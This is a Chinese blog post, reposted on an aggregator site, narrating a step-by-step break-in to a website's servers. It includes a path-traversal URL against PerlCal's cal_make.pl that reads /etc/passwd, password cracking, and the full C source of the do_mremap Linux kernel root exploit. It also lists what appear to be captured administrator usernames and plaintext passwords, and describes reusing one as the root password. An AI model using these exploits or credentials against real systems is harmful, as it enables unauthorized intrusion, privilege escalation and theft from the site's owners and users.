的渗透入侵 -电脑资料

电脑资料 时间:2019-01-01 我要投稿
【www.unjs.com - 电脑资料】

    Kindle's blog

    正文

    废话不说,

的渗透入侵

。开工

    C:\Documents and Settings\Administrator>ping www.xxx.com

    Pinging www.xxx.com [192.168.0.252] with 32 bytes of data:

    Reply from 192.168.0.252: bytes=32 time<10ms TTL=128

    Reply from 192.168.0.252: bytes=32 time<10ms TTL=128

    Reply from 192.168.0.252: bytes=32 time<10ms TTL=128

    Reply from 192.168.0.252: bytes=32 time<10ms TTL=128

    Ping statistics for 192.168.0.252:

    Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),

    Approximate round trip times in milli-seconds:

    Minimum = 0ms, Maximum = 0ms, Average = 0ms

    文章中IP为假的 在这里不公布真正IP

    看TTL的返回信息判断系统应该不是真的 现在可以改这个

    先扫描他看看吧

    结果只开了 21 22 80

    看来成功率不算打 FTP并没有若口令 80也没什么信息

    看来了他站里 发现分有bbs.xxx.com 和 news.xxx.com 而且IP都不一样 看来想办法渗透了。

    首先去bbs.xxx.com看看 用的程序似乎是绿盟那样子的 呵呵 似乎没什么漏洞 先放边上。

    看看服务器开的端口情况

    开了 21 22 80 也没什么漏洞

    在看看news.xxx.com

    经过扫描 判断服务器应该是 NT/2000

    21 80 389 1002 3389

    基本上也没什么漏洞 21 没若口令 这个是IIS的 检查了一便也没什么漏洞 389 也没什么用 3389 不可能有输入法吧登陆看看系统

    2000server的

    news.xxx.com用的程序是asp的 想到了SQL注入。不过彻底查看了一下 所有的都过滤了。

    有点郁闷了

    jswz.xxx.com

    也是一个分页 不过这个另我非常的意外 用的是cgi的 系统是linux

    21 22 80

    扫了一下有个漏洞

    cal_make.pl 看名字有点熟悉 看了一下 不过一直没想起来

    去了国外的几个站 终于发现了~~~

    Name : PerlCal

    About : cal_make.pl of the PerlCal script. may allow remote users(website visitors) to view any file on a webserver

    (dependingon the user the webserver is running on).

    Exploit:

    _make.pl?\" target=_blank>http://www.VULNERABLE.com/cgi-bin/cal_make.pl?\

    p0=../../../../../../../../../../../../etc/passwd%00

    by: stan (stan@whizkunde.org)

    呵呵 感谢hack.co.za

    在浏览器地址栏输入

    _make.pl?p0=../../../../../../../../../../../../../etc/passwd%00" target=_blank>http://www.xxx.edu/cgi-bin/perlcal/cal_make.pl?p0=../../../../../../../../../../../../../etc/passwd%00

    好多用户信息 不过这是一个shadow过了passwd 好不容易的机会 不能放弃!

    想办法 跑这些用户吧~~~

    提炼用户名 希望有弱口令

    提炼过程大家参考一些资料去吧

    一共20多个用户 跑出来了2个 哈哈。。~~

    用SSH登陆~

    权限似乎非常低

    用第二个试试

    哎 还是一样

    看看提升权限吧~~

    经过一番折腾 100%确定是rh73 内核Linux kernel 2.4

    用do_brk的益出~

    #include

    #include

    #include

    char hellc0de[] =

    "\x69\x6e\x74\x20\x67\x65\x74\x75\x69\x64\x28\x29\x20\x7b\x20\x72\x65"

    "\x74\x75\x72\x6e\x20\x30\x3b\x20\x7d\x0a\x69\x6e\x74\x20\x67\x65\x74"

    "\x65\x75\x69\x64\x28\x29\x20\x7b\x20\x72\x65\x74\x75\x72\x6e\x20\x30"

    "\x3b\x20\x7d\x0a\x69\x6e\x74\x20\x67\x65\x74\x67\x69\x64\x28\x29\x20"

    "\x7b\x20\x72\x65\x74\x75\x72\x6e\x20\x30\x3b\x20\x7d\x0a\x69\x6e\x74"

    "\x20\x67\x65\x74\x65\x67\x69\x64\x28\x29\x20\x7b\x20\x72\x65\x74\x75"

    "\x72\x6e\x20\x30\x3b\x20\x7d\x0a\x0/bin/sh";

    int main()

    {

    FILE *fp;

    char *offset;

    fp=fopen("/tmp/own.c","w");

    fprintf(fp,"%s",hellc0de);

    fclose(fp);

    system("gcc -shared -o /tmp/own.so /tmp/own.c;rm /tmp/own.c");

    system("LD_PRELOAD=/tmp/own.so /bin/sh");

    return 0;

    }

    郁闷 行不通

    想别的办法

    试试 do_mremap VMA本地权限提升漏洞

    Linux内核中mremap(2)系统调用由于没有对函数返回值进行检查,本地攻击者可以利用这个漏洞获得root用户权限。

    mremap系统调用被应用程序用来改变映射区段(VMAs)的边界地址。mremap()系统调用提供对已存在虚拟内存区域调整大小。从VMA区域移动部分虚拟内存到新的区域需要建立一个新的VMA描述符,也就是把由VMA描述的下面的页面表条目(page table entries)从老的区域拷贝到进程页表中新的位置。

    要完成这个任务do_mremap代码需要调用do_munmap()内部内核函数去清除在新位置中任何已经存在的内存映射,也就是删除旧的虚拟内存映射。不幸的是代码没有对do_munmap()函数的返回值进行检查,如果可用VMA描述符的最大数已经超出,那么函数调用就可能失败。

    :):):)

    #include

    #include

    #include

    #include

    #include

    #include

    #include

    #include

    #include

    #include

    #include

    #include

    #define str(s) #s

    #define xstr(s) str(s)

    // this is for standard kernels with 3/1 split

    #define STARTADDR 0x40000000

    #define PGD_SIZE (PAGE_SIZE * 1024)

    #define VICTIM (STARTADDR + PGD_SIZE)

    #define MMAP_BASE (STARTADDR + 3*PGD_SIZE)

    #define DSIGNAL SIGCHLD

    #define CLONEFL (DSIGNAL|CLONE_VFORK|CLONE_VM)

    #define MREMAP_MAYMOVE ( (1UL) << 0 )

    #define MREMAP_FIXED ( (1UL) << 1 )

    #define __NR_sys_mremap __NR_mremap

    // how many ld.so pages? this is the .text section length (like from cat

    // /proc/self/maps) in pages

    #define LINKERPAGES 0x14

    // suid victim

    static char *suid="/bin/ping";

    // shell to start

    static char *launch="/bin/bash";

    _syscall5(ulong, sys_mremap, ulong, a, ulong, b, ulong, c, ulong, d,

    ulong, e);

    unsigned long sys_mremap(unsigned long addr, unsigned long old_len,

    unsigned long new_len, unsigned long flags,

    unsigned long new_addr);

    static volatile unsigned base, *t, cnt, old_esp, prot, victim=0;

    static int i, pid=0;

    static char *env[2], *argv[2];

    static ulong ret;

    // code to appear inside the suid image

    static void suid_code(void)

    {

    __asm__(

    " call callme \n"

    // setresuid(0, 0, 0), setresgid(0, 0, 0)

    "jumpme: xorl %ebx, %ebx \n"

    " xorl %ecx, %ecx \n"

    " xorl %edx, %edx \n"

    " xorl %eax, %eax \n"

    " mov $"xstr(__NR_setresuid)", %al \n"

    " int $0x80 \n"

    " mov $"xstr(__NR_setresgid)", %al \n"

    " int $0x80 \n"

    // execve(launch)

    " popl %ebx \n"

    " andl $0xfffff000, %ebx \n"

    " xorl %eax, %eax \n"

    " pushl %eax \n"

    " movl %esp, %edx \n"

    " pushl %ebx \n"

    " movl %esp, %ecx \n"

    " mov $"xstr(__NR_execve)", %al \n"

    " int $0x80 \n"

    // exit

    " xorl %eax, %eax \n"

    " mov $"xstr(__NR_exit)", %al \n"

    " int $0x80 \n"

    "callme: jmp jumpme \n"

    );

    }

    static int suid_code_end(int v)

    {

    return v+1;

    }

    static inline void get_esp(void)

    {

    __asm__(

    " movl %%esp, %%eax \n"

    " andl $0xfffff000, %%eax \n"

    " movl %%eax, %0 \n"

    : : "m"(old_esp)

    );

    }

    static inline void cloneme(void)

    {

    __asm__(

    " pusha \n"

    " movl $("xstr(CLONEFL)"), %%ebx \n"

    " movl %%esp, %%ecx \n"

    " movl $"xstr(__NR_clone)", %%eax \n"

    " int $0x80 \n"

    " movl %%eax, %0 \n"

    " popa \n"

    : : "m"(pid)

    );

    }

    static inline void my_execve(void)

    {

    __asm__(

    " movl %1, %%ebx \n"

    " movl %2, %%ecx \n"

    " movl %3, %%edx \n"

    " movl $"xstr(__NR_execve)", %%eax \n"

    " int $0x80 \n"

    : "=a"(ret)

    : "m"(suid), "m"(argv), "m"(env)

    );

    }

    static inline void pte_populate(unsigned addr)

    {

    unsigned r;

    char *ptr;

    memset((void*)addr, 0x90, PAGE_SIZE);

    r = ((unsigned)suid_code_end) - ((unsigned)suid_code);

    ptr = (void*) (addr + PAGE_SIZE);

    ptr -= r+1;

    memcpy(ptr, suid_code, r);

    memcpy((void*)addr, launch, strlen(launch)+1);

    }

    // hit VMA limit & populate PTEs

    static void exhaust(void)

    {

    // mmap PTE donor

    t = mmap((void*)victim, PAGE_SIZE*(LINKERPAGES+3), PROT_READ|PROT_WRITE,

    MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);

    if(MAP_FAILED==t)

    goto failed;

    // prepare shell code pages

    for(i=2; i

    pte_populate(victim + PAGE_SIZE*i);

    i = mprotect((void*)victim, PAGE_SIZE*(LINKERPAGES+3), PROT_READ);

    if(i)

    goto failed;

    // lock unmap

    base = MMAP_BASE;

    cnt = 0;

    prot = PROT_READ;

    printf("\n"); fflush(stdout);

    for(;;) {

    t = mmap((void*)base, PAGE_SIZE, prot,

    MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);

    if(MAP_FAILED==t) {

    if(ENOMEM==errno)

    break;

    else

    goto failed;

    }

    if( !(cnt%512) || cnt>65520 )

    printf("\r MMAP #%d 0x%.8x - 0x%.8lx", cnt, base,

    base+PAGE_SIZE); fflush(stdout);

    base += PAGE_SIZE;

    prot ^= PROT_EXEC;

    cnt++;

    }

    // move PTEs & populate page table cache

    ret = sys_mremap(victim+PAGE_SIZE, LINKERPAGES*PAGE_SIZE, PAGE_SIZE,

    MREMAP_FIXED|MREMAP_MAYMOVE, VICTIM);

    if(-1==ret)

    goto failed;

    munmap((void*)MMAP_BASE, old_esp-MMAP_BASE);

    t = mmap((void*)(old_esp-PGD_SIZE-PAGE_SIZE), PAGE_SIZE,

    PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0,

    0);

    if(MAP_FAILED==t)

    goto failed;

    *t = *((unsigned *)old_esp);

    munmap((void*)VICTIM-PAGE_SIZE, old_esp-(VICTIM-PAGE_SIZE));

    printf("\n[+] Success\n\n"); fflush(stdout);

    return;

    failed:

    printf("\n[-] Failed\n"); fflush(stdout);

    _exit(0);

    }

    static inline void check_kver(void)

    {

    static struct utsname un;

    int a=0, b=0, c=0, v=0, e=0, n;

    uname(&un);

    n=sscanf(un.release, "%d.%d.%d", &a, &b, &c);

    if(n!=3 || a!=2) {

    printf("\n[-] invalid kernel version string\n");

    _exit(0);

    }

    if(b==2) {

    if(c<=25)

    v=1;

    }

    else if(b==3) {

    if(c<=99)

    v=1;

    }

    else if(b==4) {

    if(c>18 && c<=24)

    v=1, e=1;

    else if(c>24)

    v=0, e=0;

    else

    v=1, e=0;

    }

    else if(b==5 && c<=75)

    v=1, e=1;

    else if(b==6 && c<=2)

    v=1, e=1;

    printf("\n[+] kernel %s vulnerable: %s exploitable %s",

    un.release, v? "YES" : "NO", e? "YES" : "NO" );

    fflush(stdout);

    if(v && e)

    return;

    _exit(0);

    }

    int main(int ac, char **av)

    {

    // prepare

    check_kver();

    memset(env, 0, sizeof(env));

    memset(argv, 0, sizeof(argv));

    if(ac>1) suid=av[1];

    if(ac>2) launch=av[2];

    argv[0] = suid;

    get_esp();

    // mmap & clone & execve

    exhaust();

    cloneme();

    if(!pid) {

    my_execve();

    } else {

    waitpid(pid, 0, 0);

    }

    return 0;

    }

    耶~~~~成功了

    ………………………………………………

    整理了一些东西 然后看看有什么可以利用的信息没,

电脑资料

的渗透入侵》(https://www.unjs.com)。 呵呵mailuserinfo 看看这里写的什么~

    admin e04i9zs8#$%

    kelzr zjjjwoai22@

    sunzsdk 2z2z2z2z2z2z2z2z

    wollf woainiliaoynx

    记得主站上有这几个管理员~ 去找登陆的地方

    www.xxx.com/login.php

    您的IP未被允许登陆

    晕了

    用SSH登陆192.168.0.252试试

    果然登陆进来了 用户名是kelzr 密码是 woainiliaoynx

    呵呵 试了2分钟

    登陆后发现权限竟然不是root 哭了

    试了3个提升权限的竟然没有用

    郁闷ING

    郁闷中发现一个login的记录 是这个机器登陆另一个机器的记录 密码是明文

    登陆的是192.168.0.2 用户名admin 密码mozjkelzlf152@ 是FTP登陆

    看来是他估计写下来的

    我突然冒出个想法 :)

    断开连接 重新用SSH连接主机 root mozjkelzlf152@ 哈哈进来了

    有了权限就好办了

    我曾经渗透过好多站都是这样 管理员的密码通用 呵呵 一个机组的密码全都一样!

    哎~ 大家最好养成一个习惯 尽量避免密码重复

最新文章